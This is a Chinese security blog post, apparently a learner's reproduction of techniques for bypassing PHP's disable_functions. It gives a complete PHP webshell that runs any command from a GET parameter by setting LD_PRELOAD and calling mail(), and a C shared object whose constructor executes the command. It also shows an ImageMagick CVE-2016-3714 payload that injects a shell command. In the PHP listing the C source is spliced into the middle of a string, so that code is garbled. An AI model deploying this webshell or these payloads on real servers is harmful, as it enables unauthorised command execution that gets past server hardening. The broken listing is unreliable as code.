决定还是整理一下,看了几篇相关文章都看不大懂,即使刚修完操作系统。其实在php代码审计2里提到过一点disable_functions的绕过,但是当初写的时候也是迷迷糊糊的,笔记也不是很全面,这里再补充一下。还有感觉以后还是要关注一下linux操作系统吧,然后就想起来了那本超厚的鸟哥的linux私房菜,感觉还是需要啃的。
这次的内容准备参考一篇大佬的文章,以复现为主,这里的话先贴出来链接:

http://47.98.146.200/index.php/archives/44/

简介

disable_functions是php的一项配置,如果你设置了此类的选项的话,那么选项内的函数就不会被允许执行。实际上,这项配置禁掉了一些危险的函数。其实也就是黑名单。

LD_PRELOAD突破disable_functions

ld_preload在linux

利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系用户空间进程的系统调用和信号的统命令的效果。
对于LD_PRELOAD是一项系统变量,主要用于动态库的加载,且动态库加载的等级最高。
LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我们经常要调用一些外部库的函数,以open()和execve()为例,如果我们有个自定义这两函数,把它编译成动态库后,通过LD_PRELOAD加载,当程序中调用open函数时,调用的其实是我们自定义的函数。
也就是说,当你想修改test函数的执行结果的时候,可以通过ld_preload来调用我们自己创建的动态库,而在动态库里存在test的同名函数。而动态库加载等级最高,就会优先执行。
其实究其根本就是执行优先级的问题,使用ld_preload加持时,会优先运行。
接下来我们应该要关注的是,当你执行一条系统指令的时候,他会调用许多api,我们可以用如下的命令查看一条指令调用的系统api:

strace -f `which id`

strace命令简介:

-tt 在每行输出的前面,显示毫秒级别的时间
-T 显示每次系统调用所花费的时间
-v 对于某些相关调用,把完整的环境变量,文件stat结构等打出来。
-f 跟踪目标进程,以及目标进程创建的所有子进程
-e 控制要跟踪的事件和跟踪行为,比如指定要跟踪的系统调用名称
-o 把strace的输出单独写到指定的文件
-s 当系统调用的某个参数是字符串时,最多输出指定长度的内容,默认是32个字节
-p 指定要跟踪的进程pid, 要同时跟踪多个pid, 重复多次-p选项即可。

这个命令主要是用来跟踪用户空间进程的系统调用和信号的。
当找出调用的函数的时候,因为我们需要复现某个函数。因此在选择的时候尽量选择无返回值的函数,简单的函数。getuid()就很适合复现。这里我们可以用:

man 2 getuid

来查看函数原型。

我们可以看到函数的头部内容。
在编写共享库文件时需要加上这部分内容。
man,1,2,3含义:

1是普通的命令
2是系统调用,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数,需要加什么头文件)
3是库函数,如printf,fread

下面如果要劫持getuid函数的话,可以先写一段源码getuid_3rsh1.c:

#include <unistd.h>
#include <sys/types.h>
uid_t getuid(void){
    system("echo 'success!!!'");
    return 0;
}

然后编译成64位共享动态链接库getuid_meetsec.so(warning不用在意):

gcc -shared -fPIC getuid_meetsec.c -o getuid_meetsec.so -m64

参数含义如下:
如果想要创建一个动态连接库,需要用到gcc的-shared参数。输入文件可以是源文件,汇编文件或者目标文件。
另外还要结合-fPIC选项。这个选项作用与编译阶段,告诉编译产生与位置无关的代码。这样的话,产生的代码就没有绝对地址了,全部使用相对地址。所以代码被加载到内存的任何位置都可以正常运行。
执行如下语句即可看到效果:

LD_PRELOAD=/root/disablefunc/getuid_3rsh1.so `which id`

ld_preload与php

php的许多函数是可以启动新进程的,启动进程的话就要调用系统api。当调用api时,我们可以根据调用的api来劫持函数,达到执行恶意代码的目的。所以我们需要关注的是,php有哪些函数会启动新进程。
而事实上mail()函数在运行的时候是可以通过execve产生一个新进程的,putenv()函数可以设置环境变量。

putenv("LD_RELOAD=/root/disablefunc/getuid_3rsh1.so")

当php函数在创建一个新的进程的时候,会自动加载环境变量ld_reload所指定的动态链接库。而创建的进程会调用系统api,但是调用的api函数中存在被我们劫持的函数,则会首先执行我们动态链接库中的同名函数,达到执行恶意代码的目的。
那么可能还有一个问题就是c源码中,我们应该劫持哪个函数呢?
上面的例子是php中有mail()函数,而此函数调用了getuid函数,因此我们劫持了getuid函数。那么再来梳理一下,首先我们编写一个so库,然后php函数在调用api的时候,会执行so库中的同名函数。但是系统中可能没有启用sendmail服务,甚至没有安装,那么我们可能会想,能不能让他在加载库的时候就直接执行代码呢?
所以我们应该考虑劫持共享对象,而不是劫持共享函数。

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。

这种场景与 C++ 的构造函数简直神似!几经搜索后了解到,GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,
若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。

配套php小马和c源码如下:
bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE向so文件传递具体执行的命令信息。
    disablefunc_bypass.c
    ```c
    #define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}
    ```=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

这个脚本提供3个参数:
1. cmd 参数,待执行的系统命令(如 pwd);
2. outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点;
3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。此外,bypass_disablefunc.php 拼接命令和输出路径成为完整的命令行,所以你不用在 cmd 参数中重定向了:

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

同时通过环境变量EVIL_CMDLINE向so文件传递具体执行的命令信息。
disablefunc_bypass.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

然后编译相关文件:

gcc -shared -fPIC disablefunc_bypass.c -o disablefunc_bypass.so -m64

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
如果你是一个细心的人你会发现这里的bypass_disablefunc.c(来自github)和教程中提及的不一样,多出了使用for循环修改LD_PRELOAD的首个字符改成\0,如果你略微了解C语言就会知道\0是C语言字符串结束标记,原因注释里有:unsetenv(“LD_PRELOAD”)在某些Linux发行版不一定生效(如CentOS),这样一个小动作能够让系统原有的LD_PRELOAD环境变量自动失效。

imagemagick

imagemagick简介

imagemagic是一个处理图片的软件,通常来说,它可以支持以下程序语言: Perl, C, C++, Python, PHP, Ruby, Java;现成的ImageMagick接口
(PerlMagick, Magick++, PythonMagick, MagickWand for PHP, RubyMagick, and JMagick)是可利用的。这使得自动的动态的修改创建图片变为可能。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。比如php有IMagick、MagickWand for PHP 、phMagick等ImageMagick拓展库,java有JMagick,python有PythonMagick、Wand 等拓展库。

ImageMagick漏洞(CVE-2016-3714)

这是一个远程代码执行漏洞,通过上传含有恶意代码的图片,而当这个软件在对图片进行格式转换的时候,就会执行被插入到图片里的恶意代码。可利用的恶意代码如下:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context

而在php中我们利用的是php的imagick模块。imagick类提供多种图片处理的方法,当传入图片文件格式的时候,imagemagic会根据代码逻辑自动调用自身api方法处理,不需要在php中写命令执行来执行。
大致利用代码如下:

$code = new Imagick( '被覆盖图片路径');
$codePro = $code->getImageGeometry();
$codeWidth = $codePro['width'];
$codeHeight = $codePro['height'];
$codeLogo = new Imagick( '覆盖图片路径' );
$codeLogo->thumbnailImage(300,300);
$codeLogo->roundCorners( 300, 300 ); // radio 圆角处理
$code->compositeImage( $codeLogo, imagick::COMPOSITE_DEFAULT , ( $codeWidth - 300)/2, ( $codeHeight - 300 )/2 );
header("Content-Type: image/{$image->getImageFormat()}");
echo $image->getImageBlob( );

看不懂!不想写了!!!

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...